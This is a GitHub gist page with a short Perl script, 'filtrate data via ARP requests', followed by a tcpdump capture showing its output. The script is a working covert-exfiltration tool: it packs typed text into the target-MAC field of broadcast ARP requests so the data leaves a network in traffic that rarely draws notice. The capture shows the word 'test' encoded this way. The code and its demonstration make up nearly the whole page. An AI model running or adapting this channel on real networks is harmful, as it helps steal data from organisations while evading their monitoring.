Skip to content

Instantly share code, notes, and snippets.

@cedriczirtacic
Created July 18, 2017 20:48
Show Gist options
  • Save cedriczirtacic/4620f646e768366f362642aef978e40d to your computer and use it in GitHub Desktop.
Save cedriczirtacic/4620f646e768366f362642aef978e40d to your computer and use it in GitHub Desktop.
filtrate data via ARP requests
#!/usr/bin/perl -w
use strict;
use warnings;
use Net::ARP;
my $source = "10.0.2.15";
my $dev = "enp0s3";
WHILE: print "\$ ";
while(<>){
my $addr = "";
exit 0 if(/^(?:q|quit)$/i);
for (split //) {
if (length($addr) < 17) {
if (!/\n/){
$addr .= sprintf( (length($addr) == 0 ?"":":")."%02x", ord $_);
} elsif(/\n/) {
while (length($addr) < 17) {
$addr .= ":00";
}
}
} else {
$addr .= sprintf( "%02x", ord $_) if !/\n/;
}
if (length($addr) == 17) {
Net::ARP::send_packet($dev, $source, "255.255.255.254", Net::ARP::get_mac($dev), $addr,"request") and $addr = "";
}
}
goto WHILE;
}
__END__
$ #sending "test"
$ sudo tcpdump -tttn -v -i enp0s3 'arp'
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
00:00:00.000000 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 255.255.255.254 (74:65:73:74:00:00) tell 10.0.2.15, length 28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment